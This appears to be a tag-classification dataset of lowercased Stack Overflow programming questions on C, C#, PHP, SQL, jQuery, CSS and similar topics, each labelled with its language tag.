how do i store a in an array in c   i m writing a program that calculates results of football matches.i m trying to store the team ids  in an array with a length of 10 defined at the top but i keep getting getting a build error from the array. i realise the syntax might be wrong but how else can i use a variable to specify array length     the error message i m getting is : expected expression before  {   token.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #define array_size 10  int main() {     int numberofmatches  hometeamid  awayteamid  hometeamgoals  awayteamgoals;     int hometeamwins = 0;     int winratio;     int teamid[array_size];     printf( enter number of matches played \n );     scanf( %d   &amp;numberofmatches);      if (numberofmatches &gt; 0) {          int x = 0;         do {              printf( enter match stats in order home_team_id away_team_id goals_home goals_away\n );             scanf( %d %d %d %d   &amp;hometeamid  &amp;awayteamid  &amp;hometeamgoals  &amp;awayteamgoals);              teamid[array_size] = {hometeamid}; //error is on this line              if (hometeamgoals &gt; awayteamgoals) {                 hometeamwins++;             }             x++;         }         while (x &lt; numberofmatches);         winratio = hometeamwins / numberofmatches;         printf(  %d :teamidth %d :winratio   teamid[0]  winratio);      }     return 0;  } </code></pre>,c
how to make concurrent requests without creating multiple threads   can someone please show how to make concurrent requests without creating multiple threads  e.g.  i want a program that makes 100 web requests and i don t want more than 8 concurrent requests at any time. i don t want to create 8 threads for the 8 concurrent requests. when a thread makes an async request  the same thread can then be used to make the next request  and so on. i am sorry but i can t wrap my head around this  and would like to see the best solution out there. in case it wasn t clear  the requests i am talking about are async. i want to see a solution that does not use any locks  and uses the built-in classes to do the work.    this is some code i came up with but it does not do what it is supposed to do.   <pre><code>task.run(async () =&gt;                         {                             var outstandingrequests = 0;                             var requestcount = 0;                             var tasks = new list&lt;task&gt;(concurrentrequests);                             while (requestcount &lt; maxrequests)                             {                                 if (outstandingrequests &lt; concurrentrequests)                                 {                                     tasks.add(svc.getdataasync());  // a method that makes an async request                                     interlocked.increment(ref outstandingrequests);                                 }                                 else                                 {                                     var t = await task.whenany(tasks);                                                                                                            interlocked.decrement(ref outstandingrequests);                                     interlocked.increment(ref requestcount);                                 }                             }                             await task.whenall(tasks);                         }).wait(); </code></pre>   output:   <pre><code>[] 1 sending request...received response 490 835.00 bytes in 15.6 sec [] 2 sending request... [] 3 sending request... [] 4 sending request... [] 5 sending request... [] 6 sending request... [] 7 sending request... [] 8 sending request... [] 9 sending request... </code></pre>   i have set <code>concurrentrequests</code> to 5  so there is some bug in above code as it is making 8 requests in parallel. initially it made only 5 requests in parallel  but as soon as one request completed  it fired off 4 more requests (should have fired off only one more).    had to fix some bugs  but it all works out now:   <pre><code>task.run(async () =&gt;                         {                             var outstandingrequests = 0;                             var requestcount = 0;                             // adding and removing from a list&lt;&gt; at the same time is not thread-safe                              // so have to use a synchronizedcollection&lt;&gt;                             var tasks = new synchronizedcollection&lt;task&gt;();                             while (requestcount &lt; maxrequests)                             {                                 if (outstandingrequests &lt; concurrentrequests)                                 {                                     tasks.add(svc.getdataasync(uri)); // this will be your method that makes async web call and returns a task to signal completion of async call                                     interlocked.increment(ref outstandingrequests);                                     interlocked.increment(ref requestcount);                                 }                                 else                                 {                                                                         **tasks.remove(await task.whenany(tasks));**                                     interlocked.decrement(ref outstandingrequests);                                                                     }                             }                             await task.whenall(tasks);                         }).wait(); </code></pre>   if there is a better way to do it  please let me know.,c#
button html tag not working  i have a simple form that searches in a database  as following:   <pre><code>&lt;form action= search.html  method= get  name= search  class= field &gt; &lt;input type= text  id= q  name= q  placeholder= what are you searching for   /&gt; &lt;button type= button  id= search  name= submit  value= submit  type= submit &gt;search&lt;/button&gt; &lt;/form&gt; </code></pre>   when i click on submit button  it doesn t do anything  why could be that      thanks,html
checkbox values instead of textfield  total php beginner here. i m editing a plugin and need some help. i got this text input form:   <pre><code>&lt;fieldset class= usp-tags &gt;     &lt;label for= user-submitted-tags &gt;&lt; php _e( tags    usp );  &gt;&lt;/label&gt;         &lt;input name= user-submitted-tags  id= user-submitted-tags          data-required= true  type= text  value=   class= usp-input usp-required &gt;  &lt;/fieldset&gt; </code></pre>   but instead of text input  i want checkboxes as values. so let s say i make the above <code> type=hidden </code> and have those checkboxes below:   <pre><code>&lt;input type= checkbox  name= tag[]  value= testtag101   /&gt;testtag101 &lt;input type= checkbox  name= tag[]  value= testtag202   /&gt;testtag202 &lt;input type= checkbox  name= tag[]  value= testtag303   /&gt;testtag303 </code></pre>   how do i get these checkbox values to the  user-submitted-tags  value     also as an extra thing  being able to just tick a certain number of checkboxes.,php
assign id to body tag based on device type  i m wondering if there s any way that i can assign an id to a webpage based on the type of device. for example  i have the css set up as follows    <pre><code>#desktop { min-width:1200px; min-height:500px; }  #tablet { min-width:600px; min-height:480px;  #mobile { min-width:320px; min-height:400px; </code></pre>   what i would like to do is to assign these ids to the body tag  i know there are ways to detect a device and assign a css file  but can i assign an id to the body based on the device,css
text overlapping items in dropdown items  hey so i have this case where if a page contains text and text contains a <code>ul</code> list with some items  those <code>li</code> items will overlap the items in dropdown then the user slides down the dropdown.    i thought i had it fixed by adding the following to div around my dropdown.   <pre><code>position:relative; z-index:999999; </code></pre>   giving me    <pre><code>#source-programs-dd { overflow: auto; background: #fff; max-height: 198px; position:relative; z-index:999999;} </code></pre>   and it works everywhere except for ie7 any ideas,css
.change() on checkbox not working properly  i use dropdown-button-menu with different li-elements and two ul-elements.    now i want to move li-elements from the first to the second div and vice versa.    for a better understanding  here is a <a href= http://jsfiddle.net/rv8gy6g6/  rel= nofollow >jsfiddle</a>    if i uncheck  concept  for example  it works fine. the list element will be moved to the div with the id= scrollarea . also it works to click on  abstract  for example.  the problem is: if i first check  concept  and then uncheck this input  it do not work. i cannot move the li-element back to the div with the id= scrollarea . what´s going wrong  thank you for your help.    <strong>html</strong>   <pre><code>&lt;div class= btn-group label-group  id= labelbutton &gt;     &lt;button type= button  id= label  class= btn btn-default dropdown-toggle  aria-expanded= true &gt;  &lt;i class= glyphicon glyphicon-tag &gt;&lt;/i&gt; manage annotations &lt;span class= caret &gt;&lt;/span&gt;      &lt;/button&gt;     &lt;ul class= dropdown-menu  id= label-menu  role= menu &gt;         &lt;div id= fixedarea &gt;             &lt;li class= labelcurrentannotations &gt;current annotations:&lt;/li&gt;             &lt;li class= lbl checkbox &gt;                 &lt;label class= alabel c1 &gt;                     &lt;input type= checkbox  class= cbanno  checked&gt;concept&lt;/label&gt;             &lt;/li&gt;             &lt;li class= lbl checkbox &gt;                 &lt;label class= alabel c3 &gt;                     &lt;input type= checkbox  class= cbanno  checked&gt;sentence&lt;/label&gt;             &lt;/li&gt;         &lt;/div&gt;         &lt;div id= searcharea &gt;             &lt;li class= divider &gt;&lt;/li&gt;             &lt;li class= labelheading &gt;add new annotation:&lt;/li&gt;             &lt;div class= input-group &gt;                 &lt;input type= text  class= form-control  placeholder= search annotation... &gt; &lt;span class= input-group-btn &gt;     &lt;button class= btn btn-default  type= button &gt;&lt;i class= glyphicon glyphicon-search &gt;&lt;/i&gt;&lt;/button&gt; &lt;/span&gt;&lt;/div&gt;             &lt;!-- /search input --&gt;         &lt;/div&gt;         &lt;div id= scrollarea &gt;             &lt;li class= lbl checkbox &gt;                 &lt;label class= alabel c2 &gt;                     &lt;input type= checkbox  class= cbanno &gt;abbreviation&lt;/label&gt;             &lt;/li&gt;             &lt;li class= lbl checkbox &gt;                 &lt;label class= alabel c4 &gt;                     &lt;input type= checkbox  class= cbanno &gt;abstract&lt;/label&gt;             &lt;/li&gt;             &lt;li class= lbl checkbox &gt;                 &lt;label class= alabel c5 &gt;                     &lt;input type= checkbox  class= cbanno &gt;category&lt;/label&gt;             &lt;/li&gt;             &lt;li class= lbl checkbox &gt;                 &lt;label class= alabel c6 &gt;                     &lt;input type= checkbox  class= cbanno &gt;chunk&lt;/label&gt;             &lt;/li&gt;             &lt;li class= lbl checkbox &gt;                 &lt;label class= alabel c7 &gt;                     &lt;input type= checkbox  class= cbanno &gt;chunknp&lt;/label&gt;             &lt;/li&gt;             &lt;li class= lbl checkbox &gt;                 &lt;label class= alabel c8 &gt;                     &lt;input type= checkbox  class= cbanno &gt;chunkpp&lt;/label&gt;             &lt;/li&gt;             &lt;li class= lbl checkbox &gt;                 &lt;label class= alabel c9 &gt;                     &lt;input type= checkbox  class= cbanno &gt;chunkvp&lt;/label&gt;             &lt;/li&gt;             &lt;li class= lbl checkbox &gt;                 &lt;label class= alabel c10 &gt;                     &lt;input type= checkbox  class= cbanno &gt;entity&lt;/label&gt;             &lt;/li&gt;         &lt;/div&gt;     &lt;/ul&gt; &lt;/div&gt; </code></pre>   <strong>js</strong>   <pre><code>// manage labels  $( #fixedarea input:checkbox ).change(     function(){         if ($(this).is( :checked )) {             console.log( jetzt );         } else {             hf =   ;             hs =   ;             var hf = $( #fixedarea ).outerheight(true);             var hs = $( #fixedarea ).outerheight(true);                      $( #searcharea ).css( margin-top   hf - 32 +  px );             $( #scrollarea ).css( padding-top   hs + 70 +  px );             var text = $(this).parent().text();             var color = $(this).parent().attr( class );             $(this).closest( li ).remove();             $( #scrollarea ).append( &lt;li class= lbl checkbox &gt;&lt;label class=   + color +   &gt;&lt;input type= checkbox  class= cbanno &gt; + text +  &lt;/label&gt;&lt;/li&gt; );             console.log( jetzt );         }   });  $( #scrollarea input:checkbox ).change(     function(){         if ($(this).is( :checked )) {             hf =   ;             hs =   ;             var hf = $( #fixedarea ).outerheight(true);             var hs = $( #fixedarea ).outerheight(true);             var text = $(this).parent().text();             var color = $(this).parent().attr( class );             $(this).closest( li ).remove();             $( #searcharea ).css( margin-top   hf + 32 +  px );             $( #scrollarea ).css( padding-top   hs + 130 +  px );             $( #fixedarea ).append( &lt;li class= lbl checkbox &gt;&lt;label class=   + color +   &gt;&lt;input type= checkbox  class= cbanno &gt; + text +  &lt;/label&gt;&lt;/li&gt; );         }    });  </code></pre>,jquery
label is ambiguous imported from the namespaces  i add ext.net to my existing project with nugget but now i have this error in    <pre><code>    error   193  label  is ambiguous  imported from the namespaces or types   system.web.ui.webcontrols  ext.net .   </code></pre>   i don t want to import<code>system.web.ui.webcontrols</code> in all my page. is there another solution,asp.net
how to query date field between two days in mysql  i know how to do it in oracle  but i can t find same function in mysql. try to google it..but can t find it.    i have a table  there is a field name  create_date    attribute is datetime so field value format looks like  2009-09-25 11:48:24      now i want to add date condition   i want to find create_date between 2009/09/01 to 2009/10/14 my sql command:  <strong>where 1=1 and date_format(create_date  %d/%m/%y ) between  01/09/2009  and  14/10/2009</strong>     it s ok..i can get rowdata  but when i change begin date to 2009/09/30  end date is same    <strong>date_format(create_date  %d/%m/%y ) between  30/09/2009  and  14/10/2009 </strong>    and no result... but if i change begin date to 2009/10/01   i can get result again. i jsut want to know what happend  it should fine to,mysql
save richtextbox text in tabcontrol to a file  i have a code that will write me all the text from all richtextboxes that are in the tabpage. the problem is that it does not save any text.   <pre><code>string projectfile = projectpathfolder + @ \  + projectname + @ \  + projectname +  .project ;  for (int i = 0; i &lt; tabcontrol1.rowcount; i++) {     richtextbox richtext = tabcontrol1.controls[i] as richtextbox;      using (var stream = new streamwriter(file.create(projectfile)))     {         stream.write(scintilla.text);     }      file.writealltext(projectfile   //   + tabcontrol1.tabpages[i].text +  \n\n  + richtext.text  encoding.utf8); } </code></pre>,c#
javascript does not load with the jquery post method   greeting to all !!!!!    am new to jquery and using it well... it sounds good...    the problem is when i using ajax post method and append to the original page  the javascript i loaded in the original page is not working the response(appended page some abc.php)...    how to use those   please help me    success:   <pre><code>   function(html)    {     $(html).hide().appendto( #postcomnt ).slidedown( slow );     $( .post_txt_area ).val(  );     //alert(html);    } </code></pre>,jquery
webservice wsdl response  a method in my webservice returns a dataset containing 5 <code>variables</code>. 2 of them are <code>string</code>  1 <code>int</code> and the 2 others <code>boolean</code>.     after publishing the webservice  that specific response in the <code>wsdl</code> looks like: <code>&lt;s:element minoccurs= 0  maxoccurs= 1  name= mymethodresult &gt;</code>      now  people consuming the webservice ask me if i can change it somehow so the <code>wsdl</code> ends up looking something like this:   <pre><code>&lt;s:element minoccurs= 1  maxoccurs= 1  name= variable1  type= s:string  /&gt; &lt;s:element minoccurs= 0  maxoccurs= 1  name= variable2  type= s:string  /&gt; &lt;s:element minoccurs= 0  maxoccurs= 1  name= variable3  type= s:int  /&gt; &lt;s:element minoccurs= 0  maxoccurs= 1  name= variable4  type= s:boolean  /&gt; &lt;s:element minoccurs= 1  maxoccurs= 1  name= variable5  type= s:boolean  /&gt; </code></pre>   how can i achieve that,c#
why master page does not have oninitcomplete event   why master pages is not required to confirm the initialization completion      although  master page can have controls and need initialization and like in content page  confirmation comes in init-complete event.,asp.net
how to find the cumulative salary with each year   the output should be the last column (cum_sal).   <pre><code> employee   month   year    salary cum_sal  a            jan   2016    2000     2000  a            feb   2016    2000     4000  a            mar   2016    2000     6000  a            apr   2016    3000     9000  a            may   2016    3000     12000  a            jun   2016    3000     15000  a            jul   2016    3000     18000  a            aug   2016    3000      .  a            sep   2016    3000       .  a            oct   2016    3000  a            nov   2016    3000  a            dec   2016    3000  a            jan   2017    3000     3000  a            feb   2017    3000     6000  a            mar   2017    3000     9000  a            apr   2017    5000      .  a            may   2017    5000       . (so on)  a            jun   2017    5000  a            jul   2017    5000  a            aug   2017    5000 </code></pre>   thanks for your help. sm,sql
mysql  allow only certain types of users to be able to alter a field  i m creating a database for a simple system. the two relevant tables for this question are users and categories. they are set as follows:    users : userid(pk)  username  user type  first name etc..    categories: categoryid(pk)  name  userid(fk)    i have set user type to be an  enum  and can only have the values admin moderator or regular. i want to be make it so that only a user with type admin can add a category table.     is there a way that this can be done     thanks,mysql
getting a style tag  i want to get style between my style tag i m using array but i am get empty array.        <pre><code> nsscanner* scanners = [nsscanner scannerwithstring:replacement];                 nsmutablearray *style = [[nsmutablearray alloc] init];                 [scanner scanuptostring:@ &lt;style  intostring:nil];                 while (![scanner isatend]) {                     [scanners scanuptostring:@ &gt;  intostring:nil];                     [scanners scanstring:@ &gt;  intostring:nil];                     nsstring * text = nil;                     [scanners scanuptostring:@ &lt;/style&gt;  intostring:&amp;text];                     if (text) { // if html contains empty paragraphs &lt;p&gt;&lt;/p&gt;  text could be nil                         [style addobject:text];                         nslog(@ %@  style);                     }                     [scanners scanuptostring:@ &lt;style  intostring:nil];                 } </code></pre>,ios
how to pass value from label in asp.net page to another page via href link  i need to pass label value in default.aspx to default2.aspx via href link. but its not working. here is my code.   <pre><code>&lt;a href= default2.aspx val=  + label1.text&gt; </code></pre>   i need to pass the label1.text value to default2.aspx. here i am using the href link.,asp.net
multiple count() in 1 sql query <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/13640082/sql-combine-four-queries-into-1 >sql combine four queries into 1</a>    </blockquote>     i ll try asking this another way.    can someone help me with the count(*) function      i need to do the following sql queries:   <pre><code>select     count(users_rewards.reward_id) as numberofrewards from       users_rewards  users_codes where      redeemed = 0  and        users_rewards.company_id = users_codes.company_id and        email =  test@gmail.com  group by   users_codes.company_id  select     count(users_survey_answers.ultimate_survey_code) as numberofsurveys from       users_survey_answers  users_codes where      completed = 0 and        users_survey_answers.company_id = users_codes.company_id and        email =  test@gmail.com  group by   users_codes.company_id  select     company_name as companyname from       users_codes  company where      scanned = 1  and        users_codes.company_id = company.company_id  and        email =  test@gmail.com   select     pts as companypts from       users_pts  users_codes where      users_codes.company_id = users_pts.company_id  and        email =  test@gmail.com  </code></pre>   this is the sample data and the output is what my queries need to do:   <pre><code>user_codes companyname company_id  scanned email potbelly    1           1       test@gmail.com chipotle    2           1       test@gmail.com  company company_id 1 2  users_pts company_id  pts email 1           20  test@gmail.com 2           35  test@gmail.com  users_rewards company_id  reward_id   redeemed    email 1           1           0           test@gmail.com 2           2           0           test@gmail.com  users_survey_answers company_id  ultimate_survey_code    completed   email 1           g                       1           test@gmail.com 2           h                       0           test@gmail.com  i would like this output:  companyname pts numberofsurveys     numberofrewards potbelly    20  0                   1 chipotle    35  1                   1 </code></pre>   i hope this helps. thanks,sql
eval code in re.sub as in php  in php a can do it    <pre><code>$str = preg_replace( ~^(&lt;.* &gt;)([0-9a-zа-яё]){1}(.* )~eu     $1  .mb_strtoupper( $2    utf-8 ). $3    $str); </code></pre>   how i can do it in python      i try this  but it didnt works..   <pre><code>str=re.sub( ~^(&lt;.* &gt;)([0-9a-zа-яё]){1}(.* )~eu    \\1 \\2.upper()\\3 ) </code></pre>,python
the  width  property of <pre> doesn t work in chrome  i use the  width  property of pre to control the maximum number of words each line. in firefox it performs normally  but in chrome the  width  property  doesn t work. i don t know why.    for example: width=70,html
how to compress huge java-script framework into few files (including sub directory s)  i have a huge javascript framework with sub directories that contains a lot of javascript includes to other javascript files  how can i take these javascript files and compress them to  a single or very few compressed javascript files,javascript
default viewport width of browser  all:    i am pretty to html tag  when i try to follow the tutorial on udemy about web optimization  there is one lecture says if i do nto set viewport tag  the browser will use 980px as default viewport width  so if i have a body with style <code>width :100%;</code> then it will be 100% of the viewport  but when i use that  it actually just fill the window  nothing related to 980px  could anybody give me any detail about what is wrong     <a href= https://classroom.udacity.com/courses/ud884/lessons/1464158642/concepts/15290985620923  rel= nofollow >https://classroom.udacity.com/courses/ud884/lessons/1464158642/concepts/15290985620923</a>,html
how to optimize sql query and return count using inner join and subquery  we are getting result proper but its taking too much time to execute.can we optimise query which will take less time to execute.   <pre><code>select c.client_id from client_master c inner join user_visit_record u on u.client_id = c.client_id where c.dept_id = 1    and c.branch_id= 1    and c.client_status in( hot   warm   cold   quotation )   and u.next_followup_date &lt;  2017-06-01    and u.visit_id in     (select max(visit_id)      from user_visit_record      where client_id=c.client_id) </code></pre>   thanks in advance.,mysql
how to get row count in all rows  <pre><code>select id from table; +------+ | id   | +------+ |  774 | | 2775 | +------+ </code></pre>   return 2 rows   <pre><code>select count(id) as count  id from table; +-------+-----+ | count | id  | +-------+-----+ |     2 | 774 | +-------+-----+ </code></pre>   but return <strong>1 row</strong>    how to return all rows  but with counter in each record     <pre><code>sql     +-------+------+ | count | id   | +-------+------+ |     2 | 774  | |     2 | 2775 | +-------+------+ </code></pre>,sql
how to make an object visible in scope of entire controller   so i need to get instantiate an object which requires parameters. i also need this object to be available in the scope of the entire controller once instantiated. how can this be done      edit: some code to help illustrate   <pre><code>def beginload(user  category)   #stuff   @gaobj = graphassistant.new(@arrays.fetch(0)  @arrays.fetch(1))   values = @gaobj.externalize   ret = { axis_label  =&gt; values.fetch(0)   out  =&gt; values.fetch(1)   i  =&gt; values.fetch(2)} end </code></pre>   but when i try to call it again from this method:   <pre><code>def resumeload(direction)   if direction.eql   left      @gaobj.decrementposition   elsif direction.eql   right      @gaobj.incrementposition   end   #other stuff end </code></pre>   it doesnt work. i suppose i could do all of this logic in the view  what implications will that have on performance though,ruby-on-rails
how do i change the user s signature in mfmailcomposeviewcontroller   i am using a mfmailcomposeviewcontroller for my application  and everything works fine  but every message has <code>sent from my iphone</code> at the end of it.  how can i remove this signature line or change it to read <code>sent from my ipad</code>,iphone
how to access object from another form c#  so i have this class called employee that stores the employee s username and password.   <pre><code> class employee {     string username;     string password;      public string username     {         get { return username; }         set { username = value; }     }      public string password     {         get { return password; }         set { password = value; }     }      public employee(string username  string password)     {         this.username = username;         this.password = password;     } </code></pre>   in my main class  i created an instance of employee with some sample data.   <pre><code>employee employee1 = new employee( john    123 ); </code></pre>   i included this piece of code in the main method to authenticate the user based on his/her username and password.   <pre><code> do         {             console.write( username:  );             username = console.readline();             console.write( password:  );             password = console.readline();              if (employee1.username != username || employee1.password != password)             {                 console.writeline( incorrect username or password. please try again \n );             }         }         while (employee1.username != username || employee1.password != password);          console.clear();         console.write( login sucessful!. press any key to continue... );         console.readkey(); </code></pre>   instead of having this chunk of code in my main class  i want to transfer this code in employee.cs that acts as a method  and can be called from the main class. my problem is  how can i access the object from the main class  and get the initialized username and password to apply the same concept on employee.cs.,c#
how to compute using sql for a specific row  <strong>sample table:</strong>   <pre><code>metric     value actual      10 forecast    15 target      12 </code></pre>   i want to compute the metric as   sum of actual + forecast divided by target. can you help if this is possible in sql.,sql
should i declare a variable used in many functions as a member variable   i have many overloaded functions in a class. in this case  should i declare the int32_t data as a member variable of the class  so i am not declaring it over and over in each function  the fill function is always setting a value through reference  so i don t think i should need to declare it every time in every function.     there is about 20 more of these functions not listed here:    <pre><code>void transmitinfo(typea &amp;dp  id &amp;tc) {     //do lots of other work here     int32_t data;     while (dp.fill(data))  //fill accepts a reference variable   data  gets populated     {         transmit(tc  data);       } }  void transmitinfo(typeb &amp;dp  id &amp;tc) {     //do lots of other work here     int32_t data;     while (dp.fill(data))     {         transmit(tc  data);       } }  void transmitinfo(typec &amp;dp  id &amp;tc) {     //do lots of other work here     int32_t data;     while (dp.fill(data))     {         transmit(tc  data);       } } </code></pre>,c++
appending button to a new line  i need to append a button with a bootstrap class with the same line.    i have this append line that add data to table after successful insertion into server:   <pre><code>$( #id_of_my_tr ).before( &lt;tr&gt;&lt;td&gt; +name+ &lt;/td&gt;&lt;td&gt; +last_n+ &lt;/td&gt;&lt;td&gt; +addr+ &lt;/td&gt;&lt;td&gt; +btn+ &lt;/td&gt;&lt;/tr&gt; ); </code></pre>   and it works properly. now i need to append a button to the same line that have a bootstrap class.    i tried this script:   <pre><code>var btn = $( &lt;button type= button  id= del  name= del  class= btn btn-danger &gt;delete&lt;/button&gt; ); </code></pre>   and then i add it in the append before script line:   <pre><code>$( #before_tr ).before( &lt;tr&gt;&lt;td&gt; +emp+ &lt;/td&gt;&lt;td&gt; +pos+ &lt;/td&gt;&lt;td&gt; +sal+ &lt;/td&gt;&lt;td&gt; +btn+ &lt;/td&gt;&lt;/tr&gt; ); </code></pre>   the result is  when a new line added  instead of a button  i get a text that said:   <blockquote>    [object object].  </blockquote>   <strong>update</strong>    i tried to add the button html as:   <pre><code>$( #before_tr ).before( &lt;tr&gt;&lt;td&gt; +emp+ &lt;/td&gt;&lt;td&gt; +pos+ &lt;/td&gt;&lt;td&gt; +sal+ &lt;/td&gt;&lt;td&gt;&lt;button type= button  id= del  name= del  class= btn btn-danger &gt; delete &lt;/button&gt;&lt;/td&gt;&lt;/tr&gt; ); </code></pre>   but i ve got an empty cell,jquery
mysql - fine tune having  does anyone have any ideas on how to solve this query     there is a table with customers and a table with licenses. each customer can have several licenses expiring at different times  some already expired and some not yet. if i want to select all the customers with at least one valid license  i do:   <pre><code>select * from license left join customer using (customer_id) group by customer.customer_id having license.expiry &gt; now() </code></pre>   but how do i get the customers who have only expired licenses  if i do  having license.expiry &lt; now()  it ll find the customers with expired licenses alright  but it will not exclude the customers who also have valid licenses at the same time. i need to select the customers who have only expired licenses.     not having  would solve the problem  but there s no such thing...    any help will be appreciated.,mysql
error on dotnet restore command  i have a project targeted to dotnet core 1.1.1 and when trying to restore package on mac give me the error:   <blockquote>    /users/abdul.badru/2017/projects/mpdc/otc2/otc-api/otcapi/src/otcapi/otcapi.xproj(7 3): error msb4019: the imported project  /usr/local/share/dotnet/sdk/1.0.1/microsoft/visu   alstudio/v14.0/dotnet/microsoft.dotnet.props  was not found. confirm that the path in the  declaration is correct  and that the file exists on disk.  </blockquote>   on windows the project restore and run successfully.    what could be the problem knowing that i have created the project using visual studio 2015,.net
array index for iphone <pre><code> nsstring *list = @ norman  stanley  fletcher ; nsmutablearray *a2 = [[nsmutablearray alloc] init]; //a2= [list componentsseparatedbystring:@    ];   [a2 addobject:list]; //nsarray *listitems = [list componentsseparatedbystring:@    ];  nslog(@ array is  %@  a2); nslog(@ array o  %@  a2[0]); </code></pre>   how to get a2[0]=norman   a2[1]=stanley,iphone
python read single line from file as string  i have a text file with a bunch of numbers then another line of numbers and another and another etc. with n number of lines    how can i read it and store the lines into n number of strings,python
data is changed when inserting into database  i have a form contaning full name  email  phone when inserting values into the database the phone number was change to 2147483647 (full name and email are ok). here are my php file register.php   <pre><code>&lt;h1&gt;register form&lt;/h1&gt; &lt; php $labels=array( full_name =&gt; full name                    email =&gt; email                    phone =&gt; phone ); echo  &lt;form action= check_register.php  method= post &gt; ; foreach($labels as $key =&gt;$value) {     echo  $value &lt;input type= text  name= $key /&gt;&lt;br/&gt; ; } echo  &lt;input type= submit  value= submit /&gt; ; echo  &lt;/form&gt; ;  &gt; </code></pre>   check_register.php   <pre><code>&lt; php $labels=array( full_name =&gt; full name                    email =&gt; email                    phone =&gt; phone ); foreach($_post as $key =&gt;$value) {     if(empty($value))     {         $empty_value[]=$key;     }     elseif($key== full_name )     {         if(!preg_match( /^[a-za-z  -]{2 50}$/  $value))         {             $invalid_value[]=$key;         }     }     elseif($key== email )     {         if(!preg_match( /^[a-za-z0-9]{5 20}+(@)[a-za-z0-9]{5 20}(\.com)$/  $value))         {             $invalid_value[]=$key;         }     }     elseif($key== phone )     {            if(!preg_match( /^(\(\d+\)|\d+\-) \d{10 20}$/  $value))         {             $invalid_value[]=$key;         }     } }  if(@sizeof($empty_value)&gt;0 or @sizeof($invalid_value)&gt;0) {     if(@sizeof($empty_value)&gt;0)     {         echo  input  ;         foreach($empty_value as $key) //loop empty value         {             echo   $labels[$key]  ;         }     }     if(@sizeof($invalid_value)&gt;0)     {         echo  &lt;br/&gt;invalid data  ;         foreach($invalid_value as $key) //loop invalid_value         {             echo   $labels[$key]     ;         }     }     echo  &lt;form action= $_server[php_self]  method= post &gt; ;     foreach($labels as $key =&gt;$value)     {         echo  $value &lt;input type= text  name= $key /&gt;&lt;br/&gt; ;     }     echo  &lt;input type= submit  value= submit /&gt; ;     echo  &lt;/form&gt; ;     } else     {     $user= root ;     $host= localhost ;     $password= root ;     $dbname= pet ;     $connect=mysqli_connect($host $user $password $dbname) or die( can t connect to server );         foreach($labels as $key =&gt;$value)         {             $good_data[$key]=strip_tags(trim($_post[$key]));                 if($key== phone )                 {                     $good_data[$key]=preg_replace( /[)( .-]/     $good_data[$key]);                 }             $good_data[$key]=mysqli_real_escape_string($connect $good_data[$key]);         }         $query= insert into register ( ;          foreach($good_data as $key =&gt;$value)         {             $query.= $key  ;          }         $query.=  ) values ( ;               $query=preg_replace( / \)/   )  $query);         foreach($good_data as $key =&gt;$value)            {             $query.=  $value   ;         }         $query.= ) ;         $query=preg_replace( / \)/   )  $query);         $query=preg_replace( /(\(\d+\)|\d+\-)/   )  $query);          $result=mysqli_query($connect $query) or die ( can t execute query. .mysqli_error($connect));         echo  $query ;         echo  &lt;h4&gt;member inserted $query &lt;/h4&gt; ;     }     &gt; </code></pre>,php
how to use print_r of php in browser  i am using this php script for predictionio. the print_r php function works well in terminal &amp; prints the array corresponding to user 1 &amp; num 4. now i want to run the script in browser &amp; print similar result(right now nothing is shown in browser using this php script)   <pre><code>&lt; php require_once( /home/deepak/vendor/autoload.php );  use predictionio\engineclient; $engineclient = new engineclient( http://192.168.1.13:8000 ); $response = $engineclient-&gt;sendquery(array( user =&gt; 1    num =&gt;4));  print_r($response); echo  $response ;  &gt; </code></pre>,php
create uiimageview with image from a link   i want to create uiimageview with image from a link.i don t know how to load image from link in background thread.i have used third-party library like-sdwebimage  which is really good. but i want to know how to do this without any third-party library. please help!    thanks for the answer in advance!,ios
"plain javascript boolean flag doesn t work. why   hi     can anyone tell me why everytime i click in the yellow button console log shows me the value false   (should be alternately false right false right etc after every click)    where s mistake     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var btn = document.queryselectorall( .cdi-link );
 var dropdown = document.getelementsbyclassname( cdi-dropdown )
 
 for (var i = 0; i &lt; btn.length; i++) {
   btn[i].addeventlistener( click   function() {
     var button = this;
     var arrow = button.lastelementchild.lastelementchild;
     var btncolor = button.lastelementchild;
     var flag = true;
 
     if (flag) {
       flag = false;
       console.log(flag);
     } else {
       flag = true;
       console.log(flag);
     }
   });
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;section class= cursos-de-ingles &gt;
 
 
   &lt;article class= main-cdi &gt;
 
     &lt;div class= cdi cdi-one &gt;
 
       &lt;div class= cdi-header &gt;
         &lt;img src= img/numero1.png  alt=  &gt;
       &lt;/div&gt;
 
       &lt;div class= cdi-par &gt;
         
         &lt;button type= button  class= cdi-link &gt;
       &lt;div&gt;
         &lt;span&gt;ver detalles de cursos de inglés general&lt;/span&gt; &lt;span class= arrow &gt;&amp;#9654;&lt;/span&gt;
       &lt;/div&gt;
     &lt;/button&gt;
       &lt;/div&gt;
       &lt;!--cdi-par--&gt;
 
       &lt;img src= img/greybox.png  alt=  &gt;
 
 
 
     &lt;/div&gt;
     &lt;!--cdi-one--&gt;
 
     
 
     &lt;div class= cdi cdi-two &gt;
 
    
 
     
         &lt;button type= button  class= cdi-link &gt;
       &lt;div&gt;
         &lt;span&gt;ver detalles de los cursos de inglés académico&lt;/span&gt; &lt;span class= arrow &gt;&amp;#9654;&lt;/span&gt;
       &lt;/div&gt;
     &lt;/button&gt;
       &lt;/div&gt;
       &lt;!--cdi-par--&gt;
 
       &lt;img src= img/greybox.png  alt=  &gt;
 
     &lt;!--cdi-two--&gt;
 
     &lt;div class= cdi cdi-three &gt;
 
       &lt;div class= cdi-header &gt;
 
         
       &lt;/div&gt;
 
       &lt;div class= cdi-par &gt;
         
         &lt;button type= button  class= cdi-link &gt;
       &lt;div&gt;
         &lt;span&gt;ver detalles de los cursos individuales&lt;/span&gt; &lt;span class= arrow &gt;&amp;#9654;&lt;/span&gt;
       &lt;/div&gt;
     &lt;/button&gt;
       &lt;/div&gt;
       &lt;!--cdi-par--&gt;
 
       &lt;img src= img/greybox.png  alt=  &gt;
 
     &lt;/div&gt;
     &lt;!--cdi-three--&gt;</code></pre>
 </div>
 </div>",javascript
